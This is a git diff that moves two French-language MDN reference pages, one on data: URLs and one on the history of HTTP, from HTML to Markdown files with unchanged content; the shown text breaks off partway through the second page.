+ + diff --git a/files/fr/web/http/basics_of_http/data_uris/index.html b/files/fr/web/http/basics_of_http/data_uris/index.html deleted file mode 100644 index 5922ae68e0..0000000000 --- a/files/fr/web/http/basics_of_http/data_uris/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: URLs de données -slug: Web/HTTP/Basics_of_HTTP/Data_URIs -tags: - - Base64 - - Guide - - HTTP - - Intermédiaire - - URL -translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs ---- -
{{HTTPSidebar}}
- -

Les URLs de données, les URLs préfixées par le schéma data:, permettent aux créateurs de contenu d'intégrer de petits fichiers dans des documents.

- -
-

Note : Les URLs de données sont traitées comme des origines opaques uniques par les navigateurs modernes, ainsi, contrairement aux autres objets classiques, ces URLs n'héritent pas des propriétés de l'objet ayant mené à cette URL.

-
- -

Syntaxe

- -

Les URLs de données sont composées de quatre parties : un préfixe (data:), un type MIME indiquant le type de donnée, un jeton facultatif encodé en base64 dans le cas où il n'est pas textuel ainsi que les données elles-mêmes :

- -
data:[<mediatype>][;base64],<data>
-
- -

Le mediatype est une chaîne de type MIME, telle que 'image/jpeg' pour un fichier image JPEG. Si le format MIME n'est pas spécifié, la valeur par défaut sera text/plain;charset=US-ASCII.

- -

Si les données sont textuelles, vous pouvez simplement incorporer le texte (en utilisant les entités appropriées ou les échappements basés sur le type de document englobant). Sinon, vous pouvez spécifier base64 pour intégrer des données binaires encodées en base64.

- -

Quelques exemples :

- -
-
data:,Hello%2C%20World!
-
Texte simple / Données brutes
-
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
-
Version encodée en base64 de ce qui précède
-
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
-
Un document HTML avec <h1>Hello, World!</h1>
-
data:text/html,<script>alert('hi');</script>
-
Un document HTML exécutant une alerte JavaScript. Notez que la balise fermante du script est requise.
-
- -

Encodage des données au format base64

- -

Il est possible de le faire très simplement via la ligne de commande uuencode pour les systèmes Linux et Mac OS X :

- -
uuencode -m infile remotename
-
- -

Le paramètre infile est le nom du fichier que vous souhaitez encoder au format base64, remotename est le nom du fichier distant qui n'est pas réellement utilisé dans l'URL de type data.

- -

Le résultat devrait ressembler à :

- -
begin-base64 664 test
-YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
-====
-
- -

L'URL de donnée pourra ainsi utiliser la donnée encodée après l'en-tête.

- -

Dans une page web, via JavaScript

- -

Les APIs web contiennent des méthodes pour encoder et décoder en base64 : Décoder et encoder en base64.

- -

Problèmes habituels

- -

Cette section décrit les problèmes qui apparaissent fréquemment lors de la création et de l'utilisation des URLs de type data

- -
data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
-
- -

Cela représente une ressource HTML dont le contenu est le suivant :

- -
beaucoup de texte...<p><a name="bottom">bottom</a>?arg=val
-
- -
-
Syntaxe
-
Le format pour les URLs de type data est très simple, mais il est aussi simple d'oublier la virgule qui précède le segment de données ou de mal encoder la donnée en base64.
-
Mise en forme HTML
-
Une URL de donnée expose un fichier dans un fichier, le fichier fourni peut éventuellement être bien plus gros que le fichier l'englobant. En tant qu'URL, une URL de donnée devrait pouvoir être mise en forme à l'aide de caractères d'espacement (retour chariot, tabulation ou espace), néanmoins, des limitations pratiques apparaissent lorsqu'il s'agit d'effectuer l'encodage en base64.
-
Limitations sur la longueur
-
Bien que Firefox supporte les URLs de données ayant une taille virtuellement infinie, il est important de noter que les navigateurs ne sont pas obligés de supporter une longueur maximale de donnée. Ainsi dans Opera 11 les URLs ont une longueur maximale de 65535 caractères, limitant ainsi la longueur de la donnée utilisable dans les URLs de données à 65529 caractères si celle-ci est encodée.
-
Absence de gestion d'erreur
-
Les paramètres invalides dans le format MIME ou les coquilles lorsque l'on spécifie 'base64', sont ignorés mais aucune erreur n'est retournée.
-
Aucun support des requêtes via l'URL, etc
-
-

La donnée au sein de l'URL de donnée est opaque, ainsi toute tentative d'utiliser une chaîne de paramètres de recherche comme on le ferait avec une URL classique à l'aide de la syntaxe <url>?parameter-data) avec une URL de donnée ne ferait qu'inclure les paramètres de l'URL au sein de la donnée.

-
-
Problèmes de sécurité
-
De nombreux problèmes de sécurité (comme le phishing) ont été associés au URLs de donnés et du fait qu'elle puisse avoir un accès direct au navigateur. Afin de réduire l'impact de ces problèmes, la navigation à la racine via des URLs de données data:// a été bloquée dans Firefox 59+ (en version finale, Nightly/Beta bloquent à partir de la version 58). Nous espérons voir d'autres navigateurs nous emboîter le pas prochainement. Voir Blocking Top-Level Navigations to data URLs for Firefox 58 pour plus de détails.
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("2397")}}Le schéma d'URL "data"
- -

Compatibilité des navigateurs

- -

{{compat("http.data-url")}}

- -

Voir_aussi

- - diff --git a/files/fr/web/http/basics_of_http/data_uris/index.md b/files/fr/web/http/basics_of_http/data_uris/index.md new file mode 100644 index 0000000000..5922ae68e0 --- /dev/null +++ b/files/fr/web/http/basics_of_http/data_uris/index.md @@ -0,0 +1,122 @@ +--- +title: URLs de données +slug: Web/HTTP/Basics_of_HTTP/Data_URIs +tags: + - Base64 + - Guide + - HTTP + - Intermédiaire + - URL +translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +--- +
{{HTTPSidebar}}
+ +

Les URLs de données, les URLs préfixées par le schéma data:, permettent aux créateurs de contenu d'intégrer de petits fichiers dans des documents.

+ +
+

Note : Les URLs de données sont traitées comme des origines opaques uniques par les navigateurs modernes, ainsi, contrairement aux autres objets classiques, ces URLs n'héritent pas des propriétés de l'objet ayant mené à cette URL.

+
+ +

Syntaxe

+ +

Les URLs de données sont composées de quatre parties : un préfixe (data:), un type MIME indiquant le type de donnée, un jeton facultatif encodé en base64 dans le cas où il n'est pas textuel ainsi que les données elles-mêmes :

+ +
data:[<mediatype>][;base64],<data>
+
+ +

Le mediatype est une chaîne de type MIME, telle que 'image/jpeg' pour un fichier image JPEG. Si le format MIME n'est pas spécifié, la valeur par défaut sera text/plain;charset=US-ASCII.

+ +

Si les données sont textuelles, vous pouvez simplement incorporer le texte (en utilisant les entités appropriées ou les échappements basés sur le type de document englobant). Sinon, vous pouvez spécifier base64 pour intégrer des données binaires encodées en base64.

+ +

Quelques exemples :

+ +
+
data:,Hello%2C%20World!
+
Texte simple / Données brutes
+
data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D
+
Version encodée en base64 de ce qui précède
+
data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E
+
Un document HTML avec <h1>Hello, World!</h1>
+
data:text/html,<script>alert('hi');</script>
+
Un document HTML exécutant une alerte JavaScript. Notez que la balise fermante du script est requise.
+
+ +

Encodage des données au format base64

+ +

Il est possible de le faire très simplement via la ligne de commande uuencode pour les systèmes Linux et Mac OS X :

+ +
uuencode -m infile remotename
+
+ +

Le paramètre infile est le nom du fichier que vous souhaitez encoder au format base64, remotename est le nom du fichier distant qui n'est pas réellement utilisé dans l'URL de type data.

+ +

Le résultat devrait ressembler à :

+ +
begin-base64 664 test
+YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
+====
+
+ +

L'URL de donnée pourra ainsi utiliser la donnée encodée après l'en-tête.

+ +

Dans une page web, via JavaScript

+ +

Les APIs web contiennent des méthodes pour encoder et décoder en base64 : Décoder et encoder en base64.

+ +

Problèmes habituels

+ +

Cette section décrit les problèmes qui apparaissent fréquemment lors de la création et de l'utilisation des URLs de type data

+ +
data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val
+
+ +

Cela représente une ressource HTML dont le contenu est le suivant :

+ +
beaucoup de texte...<p><a name="bottom">bottom</a>?arg=val
+
+ +
+
Syntaxe
+
Le format pour les URLs de type data est très simple, mais il est aussi simple d'oublier la virgule qui précède le segment de données ou de mal encoder la donnée en base64.
+
Mise en forme HTML
+
Une URL de donnée expose un fichier dans un fichier, le fichier fourni peut éventuellement être bien plus gros que le fichier l'englobant. En tant qu'URL, une URL de donnée devrait pouvoir être mise en forme à l'aide de caractères d'espacement (retour chariot, tabulation ou espace), néanmoins, des limitations pratiques apparaissent lorsqu'il s'agit d'effectuer l'encodage en base64.
+
Limitations sur la longueur
+
Bien que Firefox supporte les URLs de données ayant une taille virtuellement infinie, il est important de noter que les navigateurs ne sont pas obligés de supporter une longueur maximale de donnée. Ainsi dans Opera 11 les URLs ont une longueur maximale de 65535 caractères, limitant ainsi la longueur de la donnée utilisable dans les URLs de données à 65529 caractères si celle-ci est encodée.
+
Absence de gestion d'erreur
+
Les paramètres invalides dans le format MIME ou les coquilles lorsque l'on spécifie 'base64', sont ignorés mais aucune erreur n'est retournée.
+
Aucun support des requêtes via l'URL, etc
+
+

La donnée au sein de l'URL de donnée est opaque, ainsi toute tentative d'utiliser une chaîne de paramètres de recherche comme on le ferait avec une URL classique à l'aide de la syntaxe <url>?parameter-data) avec une URL de donnée ne ferait qu'inclure les paramètres de l'URL au sein de la donnée.

+
+
Problèmes de sécurité
+
De nombreux problèmes de sécurité (comme le phishing) ont été associés au URLs de donnés et du fait qu'elle puisse avoir un accès direct au navigateur. Afin de réduire l'impact de ces problèmes, la navigation à la racine via des URLs de données data:// a été bloquée dans Firefox 59+ (en version finale, Nightly/Beta bloquent à partir de la version 58). Nous espérons voir d'autres navigateurs nous emboîter le pas prochainement. Voir Blocking Top-Level Navigations to data URLs for Firefox 58 pour plus de détails.
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationTitre
{{RFC("2397")}}Le schéma d'URL "data"
+ +

Compatibilité des navigateurs

+ +

{{compat("http.data-url")}}

+ +

Voir_aussi

+ + diff --git a/files/fr/web/http/basics_of_http/evolution_of_http/index.html b/files/fr/web/http/basics_of_http/evolution_of_http/index.html deleted file mode 100644 index 759eb3679a..0000000000 --- a/files/fr/web/http/basics_of_http/evolution_of_http/index.html +++ /dev/null @@ -1,202 +0,0 @@ ---- -title: L'évolution du protocole HTTP -slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP -tags: - - Guide - - HTTP -translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP ---- -
{{HTTPSidebar}} -
-

Le protocole HTTP (HyperText Transfer Protocol) est le protocole qui sous-tend le World Wide Web. Conçu par Tim Berners-Lee et son équipe entre 1989 et 1991, HTTP a vécu de nombreux changements tout en conservant sa simplicité, étendant ainsi sa flexibilité. HTTP a évolué à partir d'un protocole sommaire d'échange de fichiers sur un réseau de confiance au sein d'un laboratoire jusqu'à devenir le labyrinthe moderne d'Internet permettant désormais le transport d'images, de vidéos en haute résolution et en 3D.

- -

L'invention du World Wide Web

- -

En 1989, alors qu'il travaillait au CERN, Tim Berners-Lee proposa la création d'un système hypertexte sur internet. Initialement nommé Mesh, il prit le nom de World Wide Web lors de sa mise en place en 1990. Bâti sur les protocoles existants TCP et IP, il consistait en quatre éléments de base :

- -
    -
  • Un format textuel pour représenter les documents hypertextes, l'HyperText Markup Language (HTML).
    • -
  • Un protocole simple pour échanger ces documents, l'HyperText Transfer Protocol (HTTP).
    • -
  • Un logiciel client pour exposer (et modifier) ces documents, le premier navigateur web nommé WorldWideWeb.
    • -
  • Un serveur pour garantir l'accès au document, version initiale du httpd.
    • -
- -

Ces quatre piliers étaient opératoires dès fin 1990, et les premiers serveurs extérieurs au CERN tournaient déjà début 1991. Le 6 août 1991, Tim Berners-Lee écrit un billet sur le groupe de discussion public alt.hypertext : ce billet est dorénavant considéré comme point de départ officiel du World Wide Web en tant que projet public.

- -

Le protocole HTTP utilisé dans ces premières phases était très simple. Plus tard surnommé HTTP/0.9, il était aussi parfois surnommé le protocole une ligne - "the one-line protocol".

- -

HTTP/0.9 – Le protocole une ligne

- -

La version initiale de HTTP n'avait pas de numéro de version. Elle fut appelée 0.9 pour la différencier des versions ultérieures. HTTP/0.9 est extrêmement simple : la requête se compose d'une ligne unique et commence par la seule méthode possible {{HTTPMethod("GET")}}, suivie par le chemin pour accéder à la ressource (sans l'URL, puisque ni protocole, serveur ni port ne sont nécessaires quand on est connecté au serveur) :

- -
GET /monfichier.html
- -

La réponse est aussi extrêmement simple, il s'agit directement du fichier demandé :

- -
<HTML>
-Une page HTML très simple
-</HTML>
- -

Contrairement aux évolutions suivantes, il n'y avait pas d'en-tête HTTP. Cela signifie que seuls des fichiers HTML pouvaient être transmis, à l'exclusion de tout autre type de documents. Il n'existait pas de code d'erreur ou d'état : en cas de problème, un fichier HTML particulier, contenant la description du problème rencontré, était renvoyé afin d'être lu par l'utilisateur.

- -

HTTP/1.0 – Mise en place de l'extensibilité

- -

HTTP/0.9 était très limité. Navigateurs et serveurs l'ont rapidement étendu vers des usages plus polyvalents.

- -
    -
  • Dans chaque requête figurent dorénavant les informations de version (HTTP/1.0 est ajouté à la ligne GET).
    • -
  • Une ligne de code d'état est aussi envoyée au début de chaque réponse. Elle permet au navigateur de prendre connaissance du succès ou de l'échec de la requête, et de s'adapter en conséquence (avec une mise à jour, par exemple, ou en utilisant son cache local de manière spécifique).
    • -
  • La notion d'en-tête HTTP a été mise en place à la fois pour les requêtes et pour les réponses. Elle autorise la transmission de métadonnées, et rend le protocole très flexible et extensible.
    • -
  • Avec ces nouveaux en-têtes HTTP, il est désormais possible de transmettre d'autres documents que des fichiers HTML bruts (grâce à l'en-tête {{HTTPHeader("Content-Type")}}.
    • -
- -

Une requête typique ressemblait ainsi à :

- -
GET /pamage.html HTTP/1.0
-User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
-
-200 OK
-Date: Tue, 15 Nov 1994 08:12:31 GMT
-Server: CERN/3.0 libwww/2.17
-Content-Type: text/html
-<HTML>
-Une page avec une image
-  <IMG SRC="/monimage.gif">
-</HTML>
- -

Suivie d'une seconde connexion-requête pour le transfert de l'image :

- -
GET /monimage.gif HTTP/1.0
-User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
-
-200 OK
-Date: Tue, 15 Nov 1994 08:12:32 GMT
-Server: CERN/3.0 libwww/2.17
-Content-Type: text/gif
-(contenu de l'image)
- -

Ces innovations n'ont pas été mises en place à la suite d'un effort concerté, mais par une approche expérimentale couvrant les années 1991-1995. Un serveur ou un navigateur ajoutaient une fonctionnalité pour voir si elle suscitait l'intérêt escompté. Nombre de problèmes d'interopérabilité relevaient du lot commun. Pour répondre à ces désagréments, un document d'information décrivant les pratiques communes a été publié en novembre 1996, {{RFC(1945)}}. Cela correspondait à la définition de HTTP/1.0. Mais rigoureusement parlant, il convient de noter qu'il ne possède pas l'état de standard officiel.

- -

HTTP/1.1 – Le protocole standardisé

- -

Parallèlement aux usages quelque peu chaotiques des différentes applications HTTP/1.0, dès 1995 c'est-à-dire bien avant la publication du document HTTP/1.0 l'année suivante, une standardisation appropriée se trouvait sur les rails. HTTP/1.1, première version standardisée de HTTP, fut publié début 1997, seulement quelques mois après HTTP/1.0.

- -

HTTP/1.1 dissipait des ambiguïtés et introduisait de nombreuses améliorations.

- -
    -
  • Connexion pouvant être ré-utilisée : économie du temps qu'il faudrait pour en ouvrir plusieurs dans le but de présenter les ressources constituant le document original récupéré.
    • -
  • Ajout du pipelining : permet d'envoyer une seconde requête avant que la réponse de la première ne soit complètement transmise, diminuant le temps de latence de la communication.
    • -
  • Désormais les réponses par morceau sont aussi supportées.
    • -
  • Mise en place de mécanismes de contrôle de caches additionnels.
    • -
  • Mise en place de la négociation de contenu pour le langage, l'encodage et le type : le client et le serveur peuvent ainsi se mettre d'accord sur le contenu le plus adéquat à échanger.
    • -
  • Grâce à l'en-tête {{HTTPHeader("Host")}}, la capacité à héberger différents domaines sur la même adresse IP autorise désormais une colocation de serveurs.
    • -
- -

Une suite typique de requêtes, toutes via la même connexion, ressemble dès lors à ceci :

- -
GET /fr/docs/Glossary/Simple_header HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate, br
-Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header
-
-200 OK
-Connection: Keep-Alive
-Content-Encoding: gzip
-Content-Type: text/html; charset=utf-8
-Date: Wed, 20 Jul 2016 10:55:30 GMT
-Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
-Keep-Alive: timeout=5, max=1000
-Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
-Server: Apache
-Transfer-Encoding: chunked
-Vary: Cookie, Accept-Encoding
-
-(contenu)
-
-
-GET /static/img/header-background.png HTTP/1.1
-Host: developer.mozilla.org
-User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
-Accept: */*
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate, br
-Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header
-
-200 OK
-Age: 9578461
-Cache-Control: public, max-age=315360000
-Connection: keep-alive
-Content-Length: 3077
-Content-Type: image/png
-Date: Thu, 31 Mar 2016 13:34:46 GMT
-Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
-Server: Apache
-
-(contenu comprenant une image sur 3077 octets)
- -

HTTP/1.1 a été publié pour la première fois en tant que {{rfc(2068)}} en janvier 1997.

- -

Plus de quinze années d'extension

- -

Grâce à son extensibilité (création aisée de nouvelles en-têtes et méthodes) et bien que le protocole HTTP/1.1 ait été amélioré par deux révisions - {{RFC("2616")}} publiée en juin 1999, et les séries {{RFC("7230")}}-{{RFC("7235")}} publiées en juin 2014, en prévision de la publication de HTTP/2 - ce protocole s'est montré extrêmement stable pendant plus de quinze ans.

- -

HTTP pour des transmissions sécurisées

- -

La modification principale du protocole HTTP a été faite vers la fin de l'année 1994. Au lieu d'envoyer HTTP vers une pile TCP/IP basique, Netscape Communication avait ajouté une couche additionnelle de transmission chiffrée : SSL. SSL 1.0 n'est jamais paru en-dehors des entreprises, mais SSL 2.0 et ses successeurs SSL 3.0 et SSL 3.1 ont permis aux sites web e-commerce, grâce au chiffrement, de garantir l'authenticité des messages échangés entre serveur et client. Le SSL a pris place dans les standards internationaux et est finalement devenu TLS. Ses versions 1.0, 1.1 et 1.2 sont apparues pour successivement mettre fin à des vulnérabilités. TLS 1.3 est actuellement en phase d'élaboration.

- -

Dans le même temps, le besoin d'une couche de transport chiffrée s'est avéré de plus en plus nécessaire. Le Web avait perdu de la fiabilité relative d'un réseau principalement académique, pour devenir une jungle où publicitaires, individus problématiques aussi bien que criminels, rivalisent pour obtenir le maximum de données privées concernant les utilisateurs, tenter d'usurper leur identité, et même de remplacer les données transmises par des données altérées. Alors que les applications créées avec HTTP gagnaient en puissance, accédant à un nombre croissant de données privées - telles que listes de contacts, e-mail ou position géographique de l'utilisateur - le besoin d'obtenir TLS est devenu omniprésent, au-delà même des cas d'e-commerce.

- -

Utilisation de HTTP dans des applications complexes

- -

La vision initiale du Web de Tim Berners-Lee ne se limitait pas uniquement à consulter des pages. Il imaginait un Web où tout un chacun pourrait ajouter et déplacer des documents à distance tel un système de fichiers distribué. Aux environs de 1996, HTTP a été étendu pour permettre l'édition. Un standard, appelé WebDAV fût alors créé. Il fut ensuite étendu à des applications spécifiques telles CardDAV pour gérer un répertoire d'adresses ou CalDAV pour gérer des calendriers. Toutes ces extensions se finissant par DAV avait une faiblesse : elles devaient être implémentées par le serveur pour pouvoir fonctionner, ce qui ne coulait pas de source. Leur utilisation au sein du Web est restée minimale.

- -

En 2000, un nouveau modèle pour utiliser HTTP fût conçu : {{glossary("REST", "representational state transfer")}} (ou REST). Les actions induites par l'API n'étaient plus transmises par de nouvelles extensions de HTTP mais uniquement en accédant à des URIs à l'aides des méthodes HTTP/1.1 de base. Cela permettait à toute application web de fournir une API à partir de laquelle on autorisait la lecture ou l'écriture des données sans avoir à mettre à jour son serveur ou son navigateur web : tout ce dont on avait besoin était présent dans les fichiers transmis via les méthodes HTTP/1.1. L'inconvénient de l'approche REST étant que chaque site web définit son API REST non-standard et exerce un contrôle total à l'inverse des extensions *DAV ou les clients et les serveurs étaient interopérables. Les API REST sont devenues omniprésentes dans les années 2010.

- -

Depuis 2005, le nombre d'APIs ouvertes sur des pages a énormément augmenté. Certaines APIs ont d'ailleurs étendu HTTP via des en-têtes HTTP spécifiques afin de répondre à des besoins particuliers tels que:

- - - -

Relâcher les contraintes du modèle de sécurité du Web

- -

HTTP est indépendant du modèle de sécurité du Web, principalement créé via la same-origin policy. En réalité le modèle de sécurité du Web s'est développé après la création de HTTP. D'années en années, il s'est avéré utile de devenir plus tolérant en termes d'origine de contenu, en supprimant certaines restrictions, sous certaines conditions. L'étendue des restrictions levées ainsi que l'application est transmise au client à l'aide d'en-têtes HTTP. Ces en-têtes sont définis au travers des spécifications Cross-Origin Resource Sharing (CORS) ou Content Security Policy (CSP).

- -

D'autres extensions de HTTP sont apparues, parfois de manière expérimentale. On mentionnera par exemple les en-têtes connus tels : Do Not Track (Ne pas me pister) ({{HTTPHeader("DNT")}}) permettant de contrôler la vie privée, {{HTTPHeader("X-Frame-Options")}}, ou {{HTTPHeader('Upgrade-Insecure-Requests')}} même s'il en existe beaucoup d'autres.

- -

HTTP/2 – Un protocole pour plus de performances

- -

Au fur et à mesure, les pages web sont devenues de plus en plus complexes quitte à devenir des applications à part entière. La quantité de contenu multimédia ainsi que le nombre de scripts permettant plus d'interactivité ont aussi augmenté, ainsi de plus en plus de données sont transférées via des requêtes HTTP. Les connexions HTTP/1.1 nécessite un ordre séquentiel pour être correctement gérées. En théorie, il est possible d'utiliser plusieurs connexions en parallèle (généralement entre 5 et 8), néanmoins, cela implique beaucoup d'adaptation et apporte énormément de complexité. Ainsi, le pipelining HTTP s'est révélé être un fardeau dans le monde du développement web.

- -

Dans la première moitié des années 2010, Google a montré qu'il était possible d'utiliser une manière différente de communication entre un serveur et un navigateur, ce protocole expérimental porte le nom de SPDY. Cela a intéressé bon nombre de développeurs, que ce soit au niveau des serveurs ou des navigateurs. En augmentant la réactivité et en éliminant la duplication des données transmises, SPDY posa les bases du protocole HTTP/2.

- -

Le protocole HTTP/2 diffère de HTTP/1.1 sur plusieurs aspects:

- -
    -
  • Il est encodé en binaire plutôt qu'en texte. Il ne peut donc plus être lu ou écrit à la main. Malgré cette difficulté, il est désormais possible d'implémenter des techniques d'optimisation avancée.
    • -
  • C'est un protocole multiplexé. Plusieurs requêtes en parallèle peuvent être gérées au sein de la même connexion, supprimant ainsi la limitation séquentielle de HTTP/1.x.
    • -
  • HTTP/2 compresse les en-têtes, étant donné que des en-têtes similaires sont échangés lors d'une suite de requêtes, on supprime ainsi la duplication et l'échange inutiles des données similaires.
    • -
  • Il permet au serveur de remplir le cache du client avant qu'il ne soit demandé par ce dernier, on parle alors d'évènements générés par le serveur.
    • -
- -

Devenu un standard officiel en mai 2015, HTTP/2 a rencontré un large succès. En janvier 2018, 23.9% des sites web utilisent HTTP/2 (8.7% en 2016) (source). Ce qui représentait en 2015 plus de 68% des requêtes (source). Les sites web générant beaucoup de trafic montre un taux d'adoption très rapide, ce qui s'explique par le gain de bande passante et les économies ainsi générées.

- -

Cette adoption fulgurante de HTTP/2 s'explique probablement par le fait que cette nouvelle version ne nécessite pas de mise à jour des sites web et des applications, l'utilisation de HTTP/1.x ou HTTP/2 étant transparente. Il suffit qu'un serveur à jour et un navigateur moderne communiquent pour que cela fonctionne. La traction générée par les premiers utilisateurs ainsi que le renouvellement des serveurs devenant obsolètes entraînent la croissance de HTTP/2 sans que cela requiert des efforts supplémentaires.

- -

Après HTTP/2

- -

HTTP n'a pas cessé d'évoluer depuis la parution de HTTP/2, de la même manière que pour HTTP/1.x, la modularité de HTTP permet toujours de lui ajouter de nouvelles fonctionnalités. Il est ainsi possible de mentionner les en-têtes suivants apparus en 2016 :

- -
    -
  • Prise en charge de {{HTTPHeader("Alt-Svc")}} qui permet de dissocier l'identification d'une ressource de son emplacement, permettant une optimisation du cache {{Glossary("CDN")}}.
    • -
  • L'apparition de {{HTTPHeader("Client-Hints")}} qui permet au navigateur ou client de transmettre directement au serveur des informations relatives à ses contraintes matérielles propres.
    • -
  • L'apparition de préfixes liés à la sécurité dans l'en-tête {{HTTPHeader("Cookie")}} permet désormais de s'assurer qu'un cookie sécurisé n'a pas été modifié
    • -
- -

Cette évolution de HTTP montre sa modularité ainsi que sa simplicité, permettant la création d'applications et l'adoption du protocole. L'environnement au sein duquel HTTP évolue à l'heure actuelle est sensiblement différent de celui dans lequel il a été créé au début des années 1990. La conception de HTTP s'avère aujourd'hui être un véritable chef-d’œuvre, elle a permis au Web d'évoluer sur un quart de siècle sans créer de scissions. En corrigeant les failles et en continuant à supporter le caractère extensible du protocole, HTTP/2 laisse présager d'un avenir brillant pour ce protocole.

-
-
diff --git a/files/fr/web/http/basics_of_http/evolution_of_http/index.md b/files/fr/web/http/basics_of_http/evolution_of_http/index.md new file mode 100644 index 0000000000..759eb3679a --- /dev/null +++ b/files/fr/web/http/basics_of_http/evolution_of_http/index.md @@ -0,0 +1,202 @@ +--- +title: L'évolution du protocole HTTP +slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +tags: + - Guide + - HTTP +translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +--- +
{{HTTPSidebar}} +
+

Le protocole HTTP (HyperText Transfer Protocol) est le protocole qui sous-tend le World Wide Web. Conçu par Tim Berners-Lee et son équipe entre 1989 et 1991, HTTP a vécu de nombreux changements tout en conservant sa simplicité, étendant ainsi sa flexibilité. HTTP a évolué à partir d'un protocole sommaire d'échange de fichiers sur un réseau de confiance au sein d'un laboratoire jusqu'à devenir le labyrinthe moderne d'Internet permettant désormais le transport d'images, de vidéos en haute résolution et en 3D.

+ +

L'invention du World Wide Web

+ +

En 1989, alors qu'il travaillait au CERN, Tim Berners-Lee proposa la création d'un système hypertexte sur internet. Initialement nommé Mesh, il prit le nom de World Wide Web lors de sa mise en place en 1990. Bâti sur les protocoles existants TCP et IP, il consistait en quatre éléments de base :

+ +
    +
  • Un format textuel pour représenter les documents hypertextes, l'HyperText Markup Language (HTML).
    • +
  • Un protocole simple pour échanger ces documents, l'HyperText Transfer Protocol (HTTP).
    • +
  • Un logiciel client pour exposer (et modifier) ces documents, le premier navigateur web nommé WorldWideWeb.
    • +
  • Un serveur pour garantir l'accès au document, version initiale du httpd.
    • +
+ +

Ces quatre piliers étaient opératoires dès fin 1990, et les premiers serveurs extérieurs au CERN tournaient déjà début 1991. Le 6 août 1991, Tim Berners-Lee écrit un billet sur le groupe de discussion public alt.hypertext : ce billet est dorénavant considéré comme point de départ officiel du World Wide Web en tant que projet public.

+ +

Le protocole HTTP utilisé dans ces premières phases était très simple. Plus tard surnommé HTTP/0.9, il était aussi parfois surnommé le protocole une ligne - "the one-line protocol".

+ +

HTTP/0.9 – Le protocole une ligne

+ +

La version initiale de HTTP n'avait pas de numéro de version. Elle fut appelée 0.9 pour la différencier des versions ultérieures. HTTP/0.9 est extrêmement simple : la requête se compose d'une ligne unique et commence par la seule méthode possible {{HTTPMethod("GET")}}, suivie par le chemin pour accéder à la ressource (sans l'URL, puisque ni protocole, serveur ni port ne sont nécessaires quand on est connecté au serveur) :

+ +
GET /monfichier.html
+ +

La réponse est aussi extrêmement simple, il s'agit directement du fichier demandé :

+ +
<HTML>
+Une page HTML très simple
+</HTML>
+ +

Contrairement aux évolutions suivantes, il n'y avait pas d'en-tête HTTP. Cela signifie que seuls des fichiers HTML pouvaient être transmis, à l'exclusion de tout autre type de documents. Il n'existait pas de code d'erreur ou d'état : en cas de problème, un fichier HTML particulier, contenant la description du problème rencontré, était renvoyé afin d'être lu par l'utilisateur.

+ +

HTTP/1.0 – Mise en place de l'extensibilité

+ +

HTTP/0.9 était très limité. Navigateurs et serveurs l'ont rapidement étendu vers des usages plus polyvalents.

+ +
    +
  • Dans chaque requête figurent dorénavant les informations de version (HTTP/1.0 est ajouté à la ligne GET).
    • +
  • Une ligne de code d'état est aussi envoyée au début de chaque réponse. Elle permet au navigateur de prendre connaissance du succès ou de l'échec de la requête, et de s'adapter en conséquence (avec une mise à jour, par exemple, ou en utilisant son cache local de manière spécifique).
    • +
  • La notion d'en-tête HTTP a été mise en place à la fois pour les requêtes et pour les réponses. Elle autorise la transmission de métadonnées, et rend le protocole très flexible et extensible.
    • +
  • Avec ces nouveaux en-têtes HTTP, il est désormais possible de transmettre d'autres documents que des fichiers HTML bruts (grâce à l'en-tête {{HTTPHeader("Content-Type")}}.
    • +
+ +

Une requête typique ressemblait ainsi à :

+ +
GET /pamage.html HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:31 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/html
+<HTML>
+Une page avec une image
+  <IMG SRC="/monimage.gif">
+</HTML>
+ +

Suivie d'une seconde connexion-requête pour le transfert de l'image :

+ +
GET /monimage.gif HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:32 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/gif
+(contenu de l'image)
+ +

